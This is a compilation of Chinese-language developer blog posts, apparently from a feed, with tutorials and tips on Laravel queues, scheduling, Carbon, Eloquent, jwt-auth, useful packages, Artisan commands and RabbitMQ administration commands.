同理,如果此时请求不是两个,而是多个,相应的,被锁住的事务就是多个。
这个问题看着挺简单的,但实际开发时,往往容易被忽略。
过早开启事务,提交或者回滚事务之前,穿插许多其他业务逻辑,如果其他某个逻辑超时,则会导致事务不能及时释放,从而出现连锁反应。
]]>我觉得这篇文章就属于就那种写得比较好的文章,原因如下:
授人鱼不如授人以渔。一般的文章通常只是教你如何使用,用完之后,你定是知其然不知其所以然。而这篇文章则是从“底层原理”的角度,去了解Laravel Queue。
使用过Laravel Queue 的你,一定也会对这个命令感到很熟悉,通常我们需要对某个队列进行消费时,会执行这个命令。
1 | php artisan queue:work --daemon --quiet --queue=default --delay=3 --sleep=3 --tries=3 |
这个命令有很多参数,一起来看看吧:
--daemon
:以守护进程的方式运行队列,通常会在生产环境中使用到。--quiet
:不输出任何内容--delay=3
:一个任务失败后,延迟多长时间后再重试(单位是秒)--sleep=3
:去队列中消费时,如果发现没有任务,休息多长时间(单位是秒)--tries=3
:定义失败任务最多重试次数dispatch
一个Job
之后,倒底发生了哪些事情这里为了方便调试及理解,需要先将 Queue driver 设置为redis
。
1 | QUEUE_CONNECTION=redis |
首先得创建一个Job:
1 | php artisan make:job ExampleJob |
进入redis-cli
,执行如下命令:
1 | 127.0.0.1:6379> monitor |
然后打开Tinker,分配一个任务:
1 | dispatch(new \App\Jobs\ExampleJob()); |
再次观察redis-cli 控制台。
1 | 1626490482.711473 [0 127.0.0.1:64056] "SELECT" "0" |
正常可以看到以上输出,说明我们的Job 已经成功放入队列中了。
1 | 127.0.0.1:6379> keys queue* |
此时,如果执行php artisan work
,则开始会消费队列:
1 | php artisan queue:work --queue=default |
通过分析上面的输出,可以知道队列在Redis 的消费过程应该是:
1 | // 首先从 queue:default List 中取出任务 |
转载文章是作者在Laravel 5.x
版本时写的,时至如今,Laravel 已发布至8.x
,队列消费的细节可能发生了一些变化,但是核心的逻辑还是没变。
第一个想到的肯定是设置 crontab 定时任务,但是 crontab 所做的事情通常是,每隔一个时间段执行一次某个命令。
假设我们现在的需求是,每天晚上的十二点,去清理一次数据库。
那么如何将这件事情与 crontab 的定时任务关联起来呢?难道要写一个PHP 脚本,交给 crontab 每天凌晨执行一次?
这当然是一个办法,但是在Laravel 中有更好的方案——任务调度。
使用以下生成命令类:
1 | $ php artisan make:command DataCleaning --command=system:data-cleaning |
在handle
中,编写『数据清理』的逻辑。
1 |
|
Laravel 命令调度器允许我们在 Laravel 中对命令调度进行清晰流畅的定义,并且仅需要在服务器上增加一条 crontab 任务即可。
调度在 app/Console/Kernel.php
文件的 schedule
方法中定义。
设置系统定时任务:
1 | crontab -e |
这里为了测试定时任务的执行,先设置每分钟进行观察。
/dev/null 2>&1
分为两部分进行理解:
/dev/null
是系统黑洞,也就是 >>
之前执行的输出信息会全部丢进这个黑洞中stdin
是 0,stdout
是 1,stderr
是 2,所以它将 stderr
全部导到 stdout
,stdout
又被导回 /dev/null
,也就是不输出所以,这两段加起来的结果就是 crontab
的执行不会有任何输出。
但调试阶段,还是建议先输出到一个已知文件,这样好确定定时任务是否有正常执行(如果任务执行异常,会看到异常信息)。
1 | * * * * * php /your_project_absolute_path schedule:run >> /tmp/crontab.log |
系统的定时任务已经设定好了,现在 crontab 将会每分钟调用一次 Laravel 命令调度器,当 schedule:run
命令执行时, Laravel 会评估你的计划任务并运行预定任务。
最后我们注册Laravel 调度任务即可:
1 | // app/Console/Kernel.php |
调试时,仍使用一分钟,如果运行正常,之后将everyMinute
替换成 daily
即可。
做完以上操作之后,只需要等待一分钟,然后查看 /tmp/crontab.log
日志文件,是否有输出,如果能看到以下输出,则表示任务调度正常。
1 | [2021-07-04T20:30:01+08:00] Running scheduled command: '/usr/local/Cellar/php@7.4/7.4.20/bin/php' 'artisan' system:data-cleaning > '/dev/null' 2>&1 |
Laravel 的任务调度,使得执行定时任务变得非常方便。
]]>幸运的是,一些勤劳的人已经帮我们完成了辛苦的工作,使得在PHP 开发中处理日期/时间变得更加简单、更语义化。
Carbon 是由 Brian Nesbit 开发的一个包,它扩展了 PHP 自己的 DateTime 类。
它提供了一些很好的功能来处理 PHP 中的日期/时间,诸如:
安装:
1 | composer require nesbot/carbon |
使用:
1 |
|
注意:因为Laravel 已默认安装了此包,所以无需再次执行上面的命令。
1 | // 获取当前时间 - 2021-07-03 16:03:46 |
默认情况下,Carbon
的方法返回的为一个日期时间对象。
1 | Carbon {#179 ▼ |
虽然它是一个对象,但是却可以直接使用 echo
输出结果,因为有 __toString
魔术方法。
如果你想把它转为字符串,可以使用 toDateString
或 toDateTimeString
等方法:
1 | $dt = Carbon::now(); |
可以使用 parse
方法解析任何顺序和类型的日期。
1 | echo Carbon::parse("2021-07-03 16:20:44"); |
返回结果仍是 Carbon
类型的日期时间对象。
如何获取日期,并不是唯一需要做的事情,经常需要做的事情应该是操作日期或时间。
例如:计算一个日期加上N 天之后,是什么时间; 两个月后的今天是什么时间; 当前时间的三个小时之后是什么时间; 诸如此类。
1 | echo Carbon::now()->addDays(25); // 2021-07-28 16:31:03 |
在 Carbon 中你可以使用下面的方法来比较日期:
min
–返回最小日期。max
– 返回最大日期。eq
– 判断两个日期是否相等。gt
– 判断第一个日期是否比第二个日期大。lt
– 判断第一个日期是否比第二个日期小。gte
– 判断第一个日期是否大于等于第二个日期。lte
– 判断第一个日期是否小于等于第二个日期。1 | $now = Carbon::now(); |
相对时间语义化变得越来越流行,通常可以在各种社交、通讯应用上看到。
例如,将时间显示为 3 小时前 比显示 上午 8:12,更适合人类阅读。
这些方法被用于计算时间差,并转换为人类可阅读的格式,有如下四种表达时间差的方式:
1 | $dt = Carbon::now(); |
上面最后一个例子,可以看到,Carbon 默认输出的不是中文,可以增加以下代码设置本地化。
1 | \Carbon\Carbon::setLocale('zh'); |
Carbon 能做的远远不止这些,这里只是列举了一些个人常用的方法,关于更多Carbon 的用法,请查看官方文档。
下面整理一些常见的使用场景。
获取某个时刻的起始时间和结束时间:
1 | // 获取一天的开始时间和结束时间 |
获取指定日期范围内的日期:
1 | $startTime = now(); |
格式化日期为指定格式:
1 | now()->format("Y/m/d"); // 2021/08/12 |
判断日期是否为指定格式:
1 | Carbon::hasFormat("2021/08/12", "Y-m-d") // false |
语义化:
1 | Carbon::parse("2021-08-29 14:57:32")->diffForHumans(now()); |
转化为天小时分钟:
1 | CarbonInterval::seconds(384)->cascade()->forHumans(); |
为什么不要在生产环境使用 composer update
?
其实这个问题和Laravel 并没有直接关系。
永远不要在生产环境上直接运行 compser update
,因为它很慢并且会破坏版本库。
正确的做法应该是,始终在本地开发环境下使用 composer update
,并将新的composer.lock
提交到版本库,生产环境中则需要运行 composer install
即可。
为什么这段代码永远都进不到 『用户注册失败』中?
1 | if($user){ |
因为Laravel 的大部分操作,基本都是以异常形式处理,所以不需要 if...else
。原文链接。
具体哪些操作会触发模型事件?
实例一:
1 | $user = new User / find / first / all()->first(); |
触发模型事件有一个很显著的特征就是:一定会存在模型实例。
实例二:
1 | User::where('id', 1)->update(['name', 'eienao']); |
上面这个例子,就不会触发模型事件,因为始终都没有一个模型实例参与。
实例三:
1 | $user = User::first(); |
这个例子看起来可能会比较迷惑,但实际上最终也不会触发模型事件,因为 where()
方法返回的是一个『查询构造器』。
模型实例此时已经不参与其中了,其只是做一个引导出查询构造器的作用。
不要直接从 .env
文件中获取数据。
更好地做法应该是将数据放入配置文件,然后使用助手函数config()
去获取数据。
坏:
1 | $apiKey = env('API_KEY'); |
好:
1 | // config/api.php |
你可能会疑惑,为什么要这么做呢?最后不还是要从
.env
中获取数据。
这是因为尽量不要修改业务代码,如遇变化要么修改config
,要么修改.env
,而config
的代码是纳入评审的,修改起来更方便,所以应该用config
代理.env
, 能减少对.env
的修改。
Laravel 好像自从7.x
版本开始,为了格式化日期以进行序列化,框架使用了新的日期序列化格式——Carbon 的 toJSON
方法。
使用新格式序列化的日期将显示为:2021-07-11 20:01:002019-12-02T20:01:00.283041Z
,眼熟不,这个格式。
如果还想使用正常的年-月-日 时:分:秒
格式,则可以在模型上覆盖 serializeDate
方法即可:
1 | use DateTimeInterface; |
在Laravel Model 中,将某个属性设置为array casting
:
1 | protected $casts = [ |
这时如果再想对其值进行修改,就会引发异常:
1 | $data->options["key"] = "value"; |
可见,casting
并不支持一些针对特定类型的操作,例如无法作为指定类型的函数的参数。
按照官方文档的做法,应该是先赋值给一个中间变量,进行操作,然后再赋值回去。
1 | $user = App\User::find(1); |
queue:listen
与 queue:work
有什么区别?
这是一个关于队列的问题,前者与后者的区别在于,当上下文环境发生变化,前者会自动重新加载新的上下文,而后者则不会。
自Laravel 5.x
版本以来,官方文档中已不再介绍queue:listen
指令怎么使用了,所以开发阶段建议使用 queue:listen
进行调试,其余情况建议全部使用 queue:work
,因为效率更高。
Laravel 如何在关联模型中排序?
答案是:对于跨表排序这种需求,模型关联默认是没有实现的,因为模型关联的原理是将SQL 拆分成两条,模型关联的结果集是基于前面一条SQL 返回的id 集。
通常有两种方式解决以上需求:
这里顺带介绍一个 Builder marco,也可以解决以上问题:
1 | // 基于关联关系排序实现 |
调用方式如下:
1 | // 基于当前分类关联 |
Observer 还是 Listener?
Observer 可以监听 Eloquent 模型的 creating
、created
、saving
、saved
等事件,而这些Listener 其实也可以做到,那么对于两者该如何选择呢?
其实通过观察Observer的逻辑就会发现,它只是在帮助你添加了 listen 的逻辑,帮助你简化了事件 Listener 的注册。
所以我通常是这么选择的:如果对应场景是 Eloquent 模型的相关事件,则会直接选择 Observer; 如果对应场景是业务事件触发,则会选择Listener。
它是一个开源的消息代理和队列服务器,用来通过普通协议在完全不同的应用中共享数据,Rabbit 是使用Erlang 语言编写的,而RabbitMQ 是基于 AMQP 协议的。
如果你还不知道消息队列是什么,可以查阅我的这篇笔记——快速上手消息队列
工具的选择往往并不直接取决于该工具本身多么优秀,而是该工具能提供的功能,刚才符合我们的需求。
RabbitMQ 也是,在众多成熟的消息队列中,它的特点如下:
AMQP 全称(Advanced Message Queuing Protocol)高级消息队列协议。
它是一个具有现代特征的二进制协议,是一个提供统一消息服务的应用层标准高级消息队列协议,是应用层协议的一个开放标准,为面向信息的中间件设计。
这个解释太官方了,说了跟没说似的。
其实呢,通俗一点讲,它就是一个规范,约定了一个核心概念,开发时需要遵守该规范。
AMQP 核心概念由以下部分组成:
Server
:又称 Broker,接受客户端连接,实现AMQP 实体服务Connection
:连接,应用程序与Broker 的网络连接Channel
:网络信道,几乎所有的操作都在Channel 中进行,Channel 是进行消息读写的通道,客户端可建立多个Channel,每个Channel 代表一个会话任务。Message
:消息,服务器与应用程序之间传送的消息,由Properties 和Body 组成,Properties 可以对消息进行修饰,比如消息的优先级、延迟等高级特性; Body 就是消息体内容。Virtual host
:虚拟主机,用于进行逻辑隔离,最上层的消息路由,一个Virtual host 里面可以有若干个 Exchange 和Queue,同一个Virtual host 里面不能有相同名称的Exchange 和 Queue 。Exchange
:交换机,接收消息,根据路由键转发消息到绑定的队列Binding
:Exchange 和Queue 之间的虚拟连接,binding 中可以包含 routing keyRouting key
:一个路由规则,虚拟机可以用他来确定如何路由一个特定消息Queue
:也称为Message Queue,消息队列,保存消息并将它们转发给消费者RabbitMQ 整体架构,可以抽象看成三部分组成:
一个简单的RabbitMQ 架构图:
在上图中,生产者首先把消息投递到Server 的Exchange 中,然后Exchange 将消息流转到某个Queue 中,生产者监听指定队列从中获取消息。
在该流程中,生产者不需要关心,将消息投递到哪个队列,只需要关心,将消息投递到哪个Exchange。
消费者也不需要关心,消息是从哪个Exchange 中获取的,只需要关心,监听哪个队列。
那么Exchange 与Queue 之间又是如何进行消息流转的呢?
虽然一个Exchange 可以绑定多个Queue,但是路由策略(Routing Key)决定了,最终将消息投递到哪个具体Queue上。
和其他消息队列一样,想要使用,需要先安装队列服务器并启用。
具体安装过程就不过多介绍,可以前往官网查看对应操作系统的安装流程。
安装完成之后,通过rabbitmq-server start_app
命令,启动RabbitMQ 服务。
如果能看到以上输出,则表示服务已正常启动。
访问 127.0.0.1:15672
即可看到RabbitMQ 的控制台,默认的账号密码分别为:guest
、guest
。
启动应用:
1 | rabbitmqctl start_app |
关闭应用:
1 | rabbitmqctl start_app |
节点状态:
1 | rabbitmqctl status |
添加用户:
1 | rabbitmqctl add_user username password |
列出用户:
1 | rabbitmqctl list_user |
删除用户:
1 | rabbitmqctl delete_user username |
清除用户权限:
1 | rabbitmqctl clear_permissions -p vhostpath username |
列出用户权限:
1 | rabbitmqctl list_user_permissions username |
修改密码:
1 | rabbitmqctl change_password username newpassword |
设置用户权限:
1 | rabbitmqctl set_permissions -p vhostpath username |
创建虚拟主机
1 | rabbitmqctl add_vhost vhostpath |
列出虚拟主机
1 | rabbitmqctl list_vhosts |
列出虚拟主机的所有权限:
1 | rabbitmqctl list_permissions -p vhostpath |
删除虚拟主机:
1 | rabbitmqctl delete_vhost vhostpath |
查看所有队列信息:
1 | rabbitmqctl list_queues |
清除队列里的信息:
1 | rabbitmqctl -p vhostpath purge_queue blue |
移除所有数据,要在rabbitmqctl stop_app 之后使用:
1 | rabbitmqctl reset |
修改集群节点的存储形式:
1 | rabbitmqctl change_cluster_node_type disc|ram |
忘记节点(摘除节点):
1 | rabbitmqctl forget_cluster_node [--offline] |
修改节点名称:
1 | rabbitmqctl rename_cluster_node oldnode1 newnode1 |
查看插件列表:
1 | rabbitmq-plugins list |
启用某个插件:
1 | rabbitmq-plugins enable <plugin-name> |
禁用某个插件:
1 | rabbitmq-plugins disable <plugin-name> |
Collections 是 Laravel 提供的一个巨大特性,它允许我们轻松地操作数组,可以为我们节省大量时间。
比如想要对下面这组数据进行求和:
1 | $orders = [ |
使用传统的 foreach
方式:
1 | $total_price = 0; |
试试使用集合:
1 | $total_price = collect($orders)->pluck("price")->sum(); |
虽然两种方式都可以实现,但显然使用集合更容易一些,更多集合的最佳实践可以查看我的另一篇笔记——Laravel Collection 实际使用。
善用集合,可以帮我们减少很多重复的代码。
通常,在Laravel Eloquent ORM 查询时,需要匹配某些条件时,一般会这样写:
1 | $admin = Admin::where("is_enable", true) |
这样写并没有什么问题,但为了使我们的代码更具可读性,而不是重复性,可以使用 query scope
,在对应模型中创建查询作用域:
1 | public function scopeEnable($query) |
现在,可以通过如下方式进行查询:
1 | $admin = User::enable() |
如果某个查询条件频繁使用到了,可以在模型中添加全局查询作用域,这样可以默认加上该查询条件:
1 | protected static function booted() |
取消全局查询作用域?
1 | // 指定类 |
实际开发中,因为需求的复杂性,我们往往需要写出各种各样的SQL 来满足查询。
selectRaw()
、whereRaw()
、havingRaw()
允许我们在查询构造器中,加入原始SQL 查询,例如,统计分组数量:
1 | $count = User::groupBy("is_enable") |
Laravel 为我们提供了便捷的调试代码方式——dd()
,但某些场景下并不适合使用 dd()
,比如测试回调是否正常。
这时可以使用 Log
助手函数进行调试,生成的日志在storage/logs
目录下。
1 | \Log::debug('Test Message', $result]); |
dd()
作为现代开发者的调试利器,日常开发基本上离不开它,也许你一直都是这么用的:
1 | $users = User::where('name', 'Taylor')->get(); |
其实有一种更简单的方式:
1 | $users = User::where('name', 'Taylor')->get()->dd(); |
它可以作为一个链式方法,直接放在 Eloquent Query 或者集合的后面进行调用。
Laravel 的另一大特性就是提供了交互式的命令行——Tinker,在这里你可以执行各种代码,而无需考虑环境,在某些时候,进行调试时是极为方便的。
1 | php artisan tinker |
我通常会使用 Tinker
做以下事情:
在有分页的情况下,如何统计某个字段所有记录的总和?
1 | // 创建一个查询构造器 |
如果有一个复杂的数组对象数据结构,可以使用 data_get
助手函数使用.
表示法和 *
通配符从嵌套数组或对象中检索值:
1 | $data = [ |
optional()
方法允许你获取对象的属性时调用该方法。如果该对象为 null,那么属性或者方法也会返回 null 而不是引起一个错误:
1 | // User 2 exists, without account |
通常在安装了一个 SDK 之后,我们可以做一些简单的封装,这样使用起来会更方便。
1 | php artisan make:provider JpushServiceProvider |
这里以极光推送 这个第三方推送服务商为例:
1 |
|
加入到 config/app.php
:
1 | 'providers' => [ |
创建配置文件:
1 |
|
在 env 文件中填写 Jpush 的 key 和 secret:
1 | # jpush |
这样我们可以直接依赖注入 JPush\Client
或者 app('jpush')
来使用 Jpush 的 SDK。
在Laravel 中,流行两种加密方式,一种是 OpenSSL 所提供的 AES-256 和 AES-128 加密,另外一种是 Bcrypt 和 Argon2 的哈希加密方式。
使用 Crypt
门面提供的 encryptString
来加密一个值,或者使用 encrypt
助手函数:
1 | encrypt(122410); |
使用 Crypt
门面提供的 decryptString
来进行解密,或者使用decrypt
助手函数:
1 | decrypt("eyJpdiI6IlJhd3h6amtXTFh5cit2bU9ySldNU2c9PSIsInZhbHVlIjoiZlRTdWx6Wk5oTVhjSnZyR0pMdkJ0dz09IiwibWFjIjoiYWVmMTE2NWUyZjkwMWZmNWI0N2I5Y2EwNzgxMjU5ZGI4NDE0OTU2MzJhY2I1ZWFkNzJmOWMyNjMwNzIxMTBjMiJ9") |
Bcrypt 是哈希密码的理想选择,因为它的「加密系数」可以任意调整,这意味着生成哈希所需的时间可以随着硬件功率的增加而增加。
使用 Hash
门面提供的 make
方法来进行加密,或者使用bcrypt
助手函数。
1 | Hash::make(122410); |
哈希加密无法解密,只能通过验证的方式来判断加密前后密码是否一致。
使用Hash
门面提供的check
方法进行哈希验证,或者使用password_verify
助手函数。
1 | Hash::check(122410, '$2y$10$DsKye7lBalaUkvBOEk6cvOrLGvgPD2EKkV/QtWuChbJ8It5JiVoM2'); |
开发中,我们常会遇到这样的需求:
多数时候,我们会这样写:
1 | UserModel::whereBetween("created_at", [$startTime, $endTime])->count(); |
其实使用Carbon 配合Laravel 查询构造器可以很好地解决这类问题:
1 | // 统计今天的注册量 |
所有问题,跨域先行。跨域问题没有解决,一切处理都是纸老虎。
laravel-cors 是一个解决跨域问题的扩展包,不知道是从哪个版本起,已经默认引入框架了。
1 | composer require fruitcake/laravel-cors |
Laravel-lang 是一个非常易用的语言包,现已支持多达75 种语言。
1 | composer require "overtrue/laravel-lang:~5.0" |
编辑配置文件:config/app.php
:
1 | 'locale' => 'zh_CN', |
captcha 是一个生成验证码的扩展包。
1 | composer require mews/captcha |
Carbon 可以帮助我们在 PHP 开发中处理日期 / 时间变得更加简单、更具语义化。
1 | composer require nesbot/carbon |
记得设置时区 config/app.php
:
1 | 'timezone' => 'PRC', |
Eloquent Model Generator 是一个基于代码生成器的 Eloquent Model 生成工具。
只在开发环境中安装:
1 | composer require --dev krlove/eloquent-model-generator |
使用:
1 | php artisan krlove:generate:model UserModel --table-name=user --output-path=./Models --namespace=App\\Models |
Laravel IDE Helper 是一个代码提示及补全工具。
只在开发环境中安装:
1 | composer require --dev barryvdh/laravel-ide-helper |
对于只在开发环境中需要安装的扩展包,在 app/Providers/AppServiceProvider.php 文件中以如下方式进行注册:
1 | public function register() |
基础用法:
php artisan ide-helper:generate
:为 Facades 生成注释php artisan ide-helper:models
:php artisan ide-helper:meta
:生成 PhpStorm Meta file运行一下命令:
1 | php artisan ide-helper:generate |
执行完成之后会在项目根目录下生成一个 _ide_helper.php
文件。
使用Laravel 为我们提供的 make:model
默认不会为在模型文件中,生成相应的注解。
当我们需要通过对象获取模型的某个属性时,IDE 这时会提示未定义的属性,虽然不会影响功能的使用,但是对于开发人员来说并不友好。
看起来就像这样:
使用IDE Helper
来生成模型注解:
1 | php artisan ide-helper:models "App\Models\UserModel" |
建议选择『yes』,否则会生成「_ide_helper_models.php」文件,这样在跟踪文件的时候不会跳转到「_ide_helper_models.php」文件。
如果希望为所有模型都加上注解,则省略后面的参数。
看起来好多了:
注意: 为模型生成字段信息必须在数据库中存在相应的数据表。
1 | php artisan ide-helper:meta |
执行完成之后会在项目根目录下生成一个 .phpStorm.meta.php
文件。
1 | composer require overtrue/laravel-query-logger --dev |
启用日志记录 config/logging.php
:
1 | // 加入以下配置,开启日志查询记录 |
使用:
1 | tail -f ./storage/logs/laravel.log |
Logging for PHP 是一个可以将日志保存至各种位置的扩展包。
通常在测试回调时,会用得比较多。
1 | composer require monolog/monolog |
基础用法:
1 |
|
Laravel Debugbar 是一个很棒的扩展包。在很多应用程序方面,你可以使用它来收集数据。比如查询,视图,时间等等;
1 | composer require barryvdh/laravel-debugbar --dev |
Laravel Telescope 是一个非常酷的工具,对 Laravel 应用,有“优雅的调试助手”的美称。
你可以用它来监控很多东西:
1 | composer require laravel/telescope --dev |
fzaninotto/Faker 是一个生成假数据的 PHP 库,支持非常多的语言。
1 | composer require fzaninotto/faker |
Poppy Faker 是基于 fzaninotto/Faker 的中文轻量级 Fake 数据生成类。
1 | composer require poppy/faker |
jwt-auth 是 Laravel 和 lumen 下一个优秀 JWT 组件。
具体使用介绍可以查看我的——Laravel jwt-auth 使用详解 。
laravel-enum 是一个简单易用,扩展性高的处理枚举的扩展包。
1 | composer require bensampo/laravel-enum |
Intervention/image 是一个处理图片裁切的扩展包,对应的API 文档在这里。
1 | composer require intervention/image |
1 | composer require "overtrue/laravel-wechat" |
easy-sms 一款满足你的多种发送需求的短信发送组件。
1 | composer require "overtrue/easy-sms" |
ValidatesRequests
的 validate()
方法对于第一种方式,只适用一些功能单一、验证规则比较简单的验证场景。
对于复杂一些的验证场景,使用表单验证,会更方便一些。
经常使用表单验证的同学可能会知道,Request 类也不会万能的,对于一些重复使用的验证规则,默认的Request 类,并没有提供好的验证规则复用方法。
所以有没有某种方案,最终可以解决以下需求:
rules()
方法只需要返回一个该请求的验证规则数组感谢 sirping 的 Laravel 验证类 实现 路由场景验证 和 控制器场景验证,提供了一个基于路由的场景验证的简单易用方案。
因为每一个Request 类,后面都会使用到场景验证,所以这里直接创建一个基类继承于 FormRequest
类,并重写相关方法:
app/Http/Requests/BaseRequest.php
1 |
|
其中,ApiResponse
是一个封装了返回客户端内容的 Trait。
然后在 app\Providers\AppServiceProvider.php
类中的 boot()
方法中添加场景方法:
1 |
|
该自定义方法用于路由场景验证,在 Route->action
增加一个 _scene
属性。其实用法和路由别名函数是一样的:
1 | Route::post('add','UserController@add')->scene('add'); |
UserRequest
使用示例:
1 |
|
scene()
方法中的场景,不是控制器的方法名称,而是需要通过路由去自定义,可以使任意合法的名称,不一定要与控制器方法名保持一致。
至此就完成了上面提到的三个需求,使用起来也比较简单,没有破坏框架原本用法。
在使用IDE 开发的过程中,不知你是否有注意到这样一个问题:
1 | public function article(){ |
在使用$query
调用 where
方法时,默认是没有提示的,这是为什么呢?
这是因为PHP 语言特性的原因,一个数组可以存放各种类型的值,无法从外部知道里面的值具体是什么类型,这就导致IDE 无法给出有效的提示了。
其实这时我们只需要显示的告诉IDE,这个变量具体是什么类型的,编译器就能正常提示了。
1 | /** @var Collection $collection */ |
Laravel IDE Helper 是一个代码提示及补全工具。
只在开发环境中安装:
1 | composer require --dev barryvdh/laravel-ide-helper |
对于只在开发环境中需要安装的扩展包,在 app/Providers/AppServiceProvider.php 文件中以如下方式进行注册:
1 | public function register() |
运行一下命令:
1 | php artisan ide-helper:generate |
执行完成之后会在项目根目录下生成一个 _ide_helper.php
文件。
使用Laravel 为我们提供的 make:model
默认不会为在模型文件中,生成相应的注解。
当我们需要通过对象获取模型的某个属性时,IDE 这时会提示未定义的属性,虽然不会影响功能的使用,但是对于开发人员来说并不友好。
看起来就像这样:
使用IDE Helper
来生成模型注解:
1 | php artisan ide-helper:models "App\Models\UserModel" |
建议选择『yes』,否则会生成「_ide_helper_models.php」文件,这样在跟踪文件的时候不会跳转到「_ide_helper_models.php」文件。
如果希望为所有模型都加上注解,则省略后面的参数。
看起来好多了:
注意: 为模型生成字段信息必须在数据库中存在相应的数据表。
1 | php artisan ide-helper:meta |
执行完成之后会在项目根目录下生成一个 .phpStorm.meta.php
文件。
JWT 是 JSON Web Token
的缩写,是一个非常轻巧的规范,这个规范允许我们使用 JWT 在用户和服务器之间传递安全可靠的信息。
JWT 由头部(header)、载荷(payload)与签名(signature)组成,一个 JWT 类似下面这样:
1 | { |
这三部分是分别用 base64url
进行编码,然后通过.
符号组合在一起,最后得到的token 大概是这样:
1 | xxxxxx.yyyyyy.zzzzzz |
x、y、z 部分分别代表了各自部位对应的信息。
注意⚠️:JWT 最后是通过 Base64 编码的,也就是说,它可以被翻译回原来的样子来的。所以不要在 JWT 中存放一些敏感信息。
Token 既然会下发给客户端,那为什么不用保存一份在服务端?
这是因为,唯一的签名保存在服务端,所以无需担心Token 中的信息可能被篡改,清楚这一点之后,只需要验证Token 的合法性。
有了 token 之后该如何验证 token 的有效性,并得到 token 对应的用户呢?
Laravel 为我们准备好了 auth
这个中间件:
并且幸运的是,一些勤劳的人,已经帮我们完成了这部分工作。
jwt-auth 是 Laravel 和 lumen 下一个优秀 JWT 组件。
1 | composer require tymon/jwt-auth |
安装完成后,需要生成一个 JWT 的 secret,这个 secret 很重要,用于最后的签名,更换这个 secret 会导致之前生成的所有 token 无效。
1 | php artisan jwt:secret |
可以看到在 .env
文件中,增加了一行 JWT_SECRET
。
发布配置文件:
1 | php artisan vendor:publish --provider="Tymon\JWTAuth\Providers\LaravelServiceProvider" |
会在config
目录下生成一个jwt.php
的配置文件。
修改 config/auth.php
,将 api guard
的 driver
改为 jwt
。
1 | // 默认的 guard |
如果你使用默认的 User 模型来生成 token,那么该模型需要继承 Tymon\JWTAuth\Contracts\JWTSubject
接口,并实现接口的两个方法 getJWTIdentifier()
和 getJWTCustomClaims()
。
1 |
|
getJWTIdentifier
返回了 User 的 id(用于生成 Token),getJWTCustomClaims
是我们需要额外在 JWT 载荷中增加的自定义内容,这里返回空数组。
打开Tinker,尝试生成一个 token:
1 | >>> $user = User::first(); |
除了上面介绍的这种基于用户实例,返回Token的方式,还有另外两种方式可以创建Token:
基于账密参数
1 | $credentials = request(['email', 'password']); |
基于模型中的用户主键 id
1 | $token = auth()->tokenById(1); |
拿到Token 之后,有两种使用方法:
?token=你的token
Authorization:Bearer 你的token
jwt-auth
有两个重要的参数,可以在 .env
中进行设置:
JWT_TTL
:生成的 token 在多少分钟后过期,默认 60 分钟JWT_REFRESH_TTL
:生成的 token,在多少分钟内,可以刷新获取一个新 token,默认 20160 分钟,即 14 天。这里解释一下这两个参数是怎么回事:
token
的过期时间是出于安全性考虑token_refresh
的过期时间是出于用户体验考虑出于安全性考虑,不会给用户下发永久有效的token,用户需要每隔一段时间来用过期的token 来跟服务器换取一个新的 token。
打个比方:
你在食堂办理了一张饭卡,有效期是1个月,每个月初都要去食堂激活一次,以整明你还在学校念书。
如果超过3个月内都没有激活这张饭卡,则视为该名学生已经不在学校,如果3个月后这名学生回来食堂吃饭,需要重新办理饭卡
同样的道理转换到token,只是这个激活步骤不需要用户真的去操作,这个是我们来做的,全程用户都是无感的(这个是后面的无痛刷新 token 的内容)。
Token 拿到之后,如何应用到项目中呢?
需要配合 auth:api
中间件使用,你肯定会觉得奇怪,这个中间件好像没有在任何地方定义,怎么就能使用?
打开app\Http\Kernel.php
,可以看到默认的路由中间件列表:
1 | protected $routeMiddleware = [ |
可以发现 auth
就是第一个中间件的别名,但是 auth:api
又是哪里来的呢?
api
是 auth
的路由参数,指定了要使用哪个看守器,这里指定使用 api
看守器,也就是 auth.php
中配置的 api
守卫:
1 | 'guards' => [ |
所以auth:api
并不是哪里自定义的别名中间件。
如果直接使用auth
中间件,相当于使用 auth.php
中指定的 defaults
看守器。
1 | // 路由中使用 |
1 | // 尝试根据提供的凭证验证用户是否合法 |
本章的内容主要以 Artisan 命令为主。
help
帮助命令,例如 php artisan help commandName
clear-compiled
删除 Laravel 的编译文件(就像一个内部缓存),当遇到一些奇怪的问题时,可以先尝试运行这个命令down
把应用切换到『维护模式』以解决错误、迁移或者其他运行方式。up 可以在『维护模式』里恢复应用env
显示当时Laravel 的运行环境,它等效于在应用中输入 app()->environment()
migrate
迁移数据库optimize
通过把重要的PHP 类缓存到 bootstrap/cache/compile.php
来优化应用serve
部署一个PHP 服务器到 localhost:8000
(可以通过 –host 和 -port 自定义修改主机名和端口号)tinker
打开Tinker 的REPLLaravel 内置了许多好用的组合命令。
为了更快地查阅,config:cache
会缓存所有的配置,config:clear
会清理缓存。
如果已经配置了数据库的 seeder
,便可以用 db:seed
命令,来填充数据库。
key:generate
会在 .env
文件中创建一个随机的应用加密密钥,用于对数据进行加密。
注意:这个命令只需要运行一次,也就是初始环境时,如果再次运行,则会丢失原有的密钥。
make:command
:创建一个新的 Artisan 命令make:controller
:生成 Controllermake:request
:生成 Requestmake:resource
:生成 Resourcemake:exception
:生成 Exceptionmake:job
:创建延迟任务queue:listen
:开始监听一个队列queue:table
:为数据库支持队列创建一个迁移queque:flush
:刷新所有失败的队列任务route:list
:查看应用的每一个路由定义,包括每个路由器的方法、路径、名字、控制器/闭包动作和中间件。route:cache
:缓存路由器的定义,以便更快地查阅route:clear
:清理控制器先来创建一个新的命令:
1 | php artisan make:command yourCommand |
先来看一下Artisan 命令的默认架构:
1 |
|
$signature
:用于定义命令签名,比如签名是 command:name
,那么最终执行的命令应该是:php artisan command:name
$description
:对于该命令的描述handle()
:执行命令所需要做的事情在 handle()
中检索命令行参数和选项值:
argument()
:返回一个包含所有参数的数组option()
:返回一个包含所有选项的数组在 handle()
中获取用户输入:
ask()
:提示用户输入文本secret()
:提示用户输入文本,但是会用星号来隐藏输入内容confirm()
:提示用户恢复 是/否,返回一个布尔值choice()
:提示用户选择一个选项,如果用户没有选择,那么最后一个参数就会使用默认值Laravel 默认为我们提供了,make:controller
这样的生成控制器的命令,那如果需要生成自定义的代码,又该如何做呢?
这里以 Service
为例,首先创建命令:
1 | php artisan make:command MakeService |
编辑app/Console/Command/MakeService.php
:
1 |
|
通过实现 GeneratorCommand
抽象类来生成代码,同时需要在 MakeService.php
同级目录下创建一个 stubs/service.stub
文件,并填入相应的模板文件:
1 | <?php |
最红使用 php artisan make:service TestService
